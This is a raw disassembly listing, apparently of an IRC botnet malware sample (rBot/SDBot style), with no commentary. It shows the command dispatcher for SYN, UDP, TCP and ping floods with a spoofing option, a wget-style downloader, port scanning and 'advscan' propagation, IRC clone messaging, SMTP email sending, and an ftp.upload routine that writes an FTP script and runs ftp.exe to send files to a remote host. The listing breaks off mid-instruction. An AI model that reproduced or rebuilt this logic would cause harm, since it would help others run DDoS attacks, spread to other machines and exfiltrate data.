aClone_start ; "clone.start" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DF push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127DA push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127DA push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127DA push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DC push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DC push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41259B push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41259B push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249E push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249E push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123AB push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123AB push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D6 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D6 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BE push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BE mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40F239 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aAsc ; "asc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aU ; "u" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aP ; "p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41189C lea eax, [ebp+var_3F8] push edi push eax call sub_4179C0 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_4179C0 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_4179C0 push offset asc_42A3B4 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_40A7D7 push eax lea eax, [ebp+var_55C] push eax call sub_4179C0 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call dword_43F5E0 lea eax, [ebp+var_3F8] push eax call dword_43F6EC push 6 push 1 push 2 mov edi, eax call dword_43F6E8 push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call dword_43F668 mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4172B0 add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call dword_43F610 mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43F680 lea eax, [ebp+var_CAC] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call dword_43F6B8 push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43F680 push esi call dword_43F700 call dword_43F5C8 lea eax, [ebp+var_BA8] push eax push offset unk_4373F0 loc_411888: ; CODE XREF: sub_40EE72+3B53j ; sub_40EE72+3E3Aj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_413A64 ; --------------------------------------------------------------------------- loc_41189C: ; CODE XREF: sub_40EE72+28C0j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F239 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 push 4 push esi call sub_40D000 pop ecx test eax, eax pop ecx jnz short loc_411906 push esi push offset dword_437398 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40EE72+2A87j nop call near ptr 25D0889h push eax call sub_417302 pop ecx call sub_41730C push 9 cdq pop ecx idiv ecx push edx call sub_41730C push 63h cdq pop ecx idiv ecx push edx call sub_41730C cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4172B0 lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_4179A8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40F239 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_417956 push [ebp+arg_24] call sub_417900 add esp, 20h lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_4 ; "-s:%s" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43F5DC test eax, eax push edi push esi jz short loc_4119D3 push offset dword_437320 jmp short loc_4119D8 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40EE72+2B58j push offset dword_4372E4 loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411A01 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_411A01: ; CODE XREF: sub_40EE72+2B71j lea eax, [ebp+var_2DC] push eax call sub_40BF6D loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j lea eax, [ebp+var_BAC] push 4 push eax call sub_40D000 add esp, 0Ch test eax, eax jz loc_40F239 lea eax, [ebp+var_BAC] push eax call sub_419BBA jmp short loc_411A0D ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj ; sub_40EE72+2A52j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41781F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406AF8 loc_411A5D: ; CODE XREF: sub_40EE72+587Aj add esp, 24h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411A65: ; CODE XREF: sub_40EE72+2892j ; sub_40EE72+28A9j mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A lea eax, [ebp+var_678] push eax push offset aSyn ; "syn" call sub_4176D0 add esp, 14h test eax, eax jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 push offset dword_4372AC jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj ; sub_40EE72+2C33j ... push [ebp+arg_10] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_411BF4 push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_6F8] push [ebp+arg_18] push esi push eax call sub_41782A push [ebp+arg_0] call sub_41781F mov [ebp+var_574], eax add esp, 10h xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_411B65 mov eax, offset aNormal ; "Normal" loc_411B65: ; CODE XREF: sub_40EE72+2CECj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_437258 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_416D5C add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D82 push ebx push ebx call near ptr 2660BD0h nop mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411BE3 loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 25E041Ch jmp short loc_411BCD ; --------------------------------------------------------------------------- loc_411BE3: ; CODE XREF: sub_40EE72+2D59j nop call near ptr 2630B7Ah push eax push offset dword_437210 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411BF4: ; CODE XREF: sub_40EE72+2C67j push offset dword_4371C8 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411BFE: ; CODE XREF: sub_40EE72+284Dj ; sub_40EE72+2864j ... cmp dword_43F758, ebx mov esi, [ebp+arg_4] jnz loc_411D09 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_418C10 add esp, 24h lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset unk_437170 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40AF86 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411CF8 loc_411CE6: ; CODE XREF: sub_40EE72+2E84j cmp [ebp+var_2FC], ebx jnz short loc_411D22 push 32h call near ptr 25E041Ch nop jmp short loc_411CE6 ; --------------------------------------------------------------------------- loc_411CF8: ; CODE XREF: sub_40EE72+2E72j nop call near ptr 2630B7Ah push eax push offset unk_437128 jmp loc_4128CE ; --------------------------------------------------------------------------- loc_411D09: ; CODE XREF: sub_40EE72+2D95j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_418C10 loc_411D1F: ; CODE XREF: sub_40EE72+3A68j add esp, 0Ch loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj ; sub_40EE72+2FD2j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_411D2F: ; CODE XREF: sub_40EE72+567Ej lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_414629 ; --------------------------------------------------------------------------- loc_411D42: ; CODE XREF: sub_40EE72+2808j ; sub_40EE72+281Fj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_411DA7 push esi call sub_41781F pop ecx mov [ebp+var_30C], eax jmp short loc_411DAD ; --------------------------------------------------------------------------- loc_411DA7: ; CODE XREF: sub_40EE72+2F24j mov [ebp+var_30C], ebx loc_411DAD: ; CODE XREF: sub_40EE72+2F33j push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_418C10 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset dword_4370B8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B112 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411E54 loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j cmp [ebp+var_2FC], ebx jnz loc_411D22 push 32h nop call near ptr 25E041Ch jmp short loc_411E3E ; --------------------------------------------------------------------------- loc_411E54: ; CODE XREF: sub_40EE72+2FCAj nop call near ptr 2630B7Ah push eax push offset dword_437070 jmp loc_4128CE ; --------------------------------------------------------------------------- loc_411E65: ; CODE XREF: sub_40EE72+27DAj ; sub_40EE72+27F1j push 8 call sub_416FA4 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41781F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 258h jle short loc_411EB8 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset unk_437024 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411EB8: ; CODE XREF: sub_40EE72+300Fj push edi call sub_41781F push [ebp+arg_18] mov [ebp+var_330], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F add esp, 0Ch cmp eax, 2 mov [ebp+var_32C], eax jnb short loc_411EF1 push 2 pop eax mov [ebp+var_32C], eax loc_411EF1: ; CODE XREF: sub_40EE72+3074j push 3Ch pop ecx cmp eax, ecx jbe short loc_411EFE mov [ebp+var_32C], ecx loc_411EFE: ; CODE XREF: sub_40EE72+3084j push [ebp+arg_10] call sub_41781F mov [ebp+var_328], eax mov eax, 320h cmp [ebp+var_328], eax pop ecx jbe short loc_411F20 mov [ebp+var_328], eax loc_411F20: ; CODE XREF: sub_40EE72+30A6j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+arg_0], ebx jz short loc_411F76 mov [ebp+arg_24], offset dword_42ACB0 loc_411F39: ; CODE XREF: sub_40EE72+30E6j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411F5C add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_411F39 jmp short loc_411F76 ; --------------------------------------------------------------------------- loc_411F5C: ; CODE XREF: sub_40EE72+30D8j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_411F76: ; CODE XREF: sub_40EE72+30BEj ; sub_40EE72+30E8j cmp [ebp+var_330], ebx jz loc_414039 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_411FBD cmp byte ptr [edi], 23h jz short loc_411FBD push edi lea eax, [ebp+var_444] push 10h push eax call sub_41782A push 78h push edi call sub_418F50 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_412091 ; --------------------------------------------------------------------------- loc_411FBD: ; CODE XREF: sub_40EE72+3119j ; sub_40EE72+311Ej cmp [ebp+var_9C7], bl jnz short loc_411FDF cmp [ebp+var_9C6], bl jnz short loc_411FDF cmp [ebp+var_9B6], bl jnz short loc_411FDF push offset unk_436FE0 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411FDF: ; CODE XREF: sub_40EE72+3151j ; sub_40EE72+3159j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43F60C mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43F6F4 push eax lea eax, [ebp+var_444] push eax call sub_418C10 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_41208B xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_41207F loc_41205D: ; CODE XREF: sub_40EE72+320Bj cmp eax, ebx jz short loc_41207F mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41205D loc_41207F: ; CODE XREF: sub_40EE72+31E9j ; sub_40EE72+31EDj mov [ebp+var_304], 1 jmp short loc_412091 ; --------------------------------------------------------------------------- loc_41208B: ; CODE XREF: sub_40EE72+31C3j mov [ebp+var_304], ebx loc_412091: ; CODE XREF: sub_40EE72+3146j ; sub_40EE72+3217j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_41782A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_4120E2 loc_4120CF: ; CODE XREF: sub_40EE72+3293j push esi loc_4120D0: ; CODE XREF: sub_40EE72+327Dj lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41210D ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_40EE72+325Bj mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4120F1 cmp byte ptr [eax], 23h jnz short loc_4120F1 push eax jmp short loc_4120D0 ; --------------------------------------------------------------------------- loc_4120F1: ; CODE XREF: sub_40EE72+3275j ; sub_40EE72+327Aj mov esi, offset aF ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4120CF mov [ebp+var_3B4], bl loc_41210D: ; CODE XREF: sub_40EE72+326Ej cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41211F mov eax, offset aSequential ; "Sequential" loc_41211F: ; CODE XREF: sub_40EE72+32A6j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_436F5C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4121AD loc_412197: ; CODE XREF: sub_40EE72+3339j cmp [ebp+var_300], ebx jnz loc_41460C push 32h nop call near ptr 25E041Ch jmp short loc_412197 ; --------------------------------------------------------------------------- loc_4121AD: ; CODE XREF: sub_40EE72+3323j nop call near ptr 2630B7Ah push eax push offset unk_436F14 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_4121BE: ; CODE XREF: sub_40EE72+279Aj ; sub_40EE72+27B1j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_4450D8[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 add esp, 14h mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_436F08 push eax call sub_4172B0 add esp, 0Ch cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_444EC0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_4450D8 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_4122A9: ; CODE XREF: sub_40EE72+3534j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4122D6: ; CODE XREF: sub_40EE72+276Cj ; sub_40EE72+2783j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_4450D8[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 14h cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_444EC0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_4450D8 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_4122A9 ; --------------------------------------------------------------------------- loc_4123AB: ; CODE XREF: sub_40EE72+273Ej ; sub_40EE72+2755j push edi call dword_43F6A8 push [ebp+arg_18] mov [ebp+var_474], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_480], eax call sub_41781F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_418C10 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call dword_43F6F4 push eax lea eax, [ebp+var_2DC] push offset unk_436E9C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset byte_415E37 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41248D loc_412477: ; CODE XREF: sub_40EE72+3619j cmp [ebp+var_464], ebx jnz loc_4144E5 push 32h nop call near ptr 25E041Ch jmp short loc_412477 ; --------------------------------------------------------------------------- loc_41248D: ; CODE XREF: sub_40EE72+3603j nop call near ptr 2630B7Ah push eax push offset unk_436E50 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41249E: ; CODE XREF: sub_40EE72+2710j ; sub_40EE72+2727j push edi call sub_41781F push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_418C10 push [ebp+arg_0] call sub_41781F mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_398] push [ebp+var_8C] mov [ebp+var_420], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_436E04 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_416D5C add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407BDE push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41258A loc_412574: ; CODE XREF: sub_40EE72+3716j cmp [ebp+var_300], ebx jnz loc_4144E5 push 32h call near ptr 25E041Ch nop jmp short loc_412574 ; --------------------------------------------------------------------------- loc_41258A: ; CODE XREF: sub_40EE72+3700j nop call near ptr 2630B7Ah push eax push offset unk_436DB0 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41259B: ; CODE XREF: sub_40EE72+26E2j ; sub_40EE72+26F9j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_418C10 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_41781F mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4125F7 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4125FD ; --------------------------------------------------------------------------- loc_4125F7: ; CODE XREF: sub_40EE72+376Fj mov [ebp+var_570], ebx loc_4125FD: ; CODE XREF: sub_40EE72+3783j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_412614 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_41261A ; --------------------------------------------------------------------------- loc_412614: ; CODE XREF: sub_40EE72+3791j mov [ebp+var_574], ebx loc_41261A: ; CODE XREF: sub_40EE72+37A0j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push edi push offset unk_436D74 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4126CB loc_4126B5: ; CODE XREF: sub_40EE72+3857j cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 25E041Ch jmp short loc_4126B5 ; --------------------------------------------------------------------------- loc_4126CB: ; CODE XREF: sub_40EE72+3841j call near ptr 2630B7Ah nop push eax push offset unk_436D24 jmp loc_4128CE ; --------------------------------------------------------------------------- loc_4126DC: ; CODE XREF: sub_40EE72+26B4j ; sub_40EE72+26CBj push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_8] add esp, 30h mov esi, [ebp+var_4] mov [ebp+var_564], eax push [ebp+arg_0] mov eax, [ebp+arg_4] mov 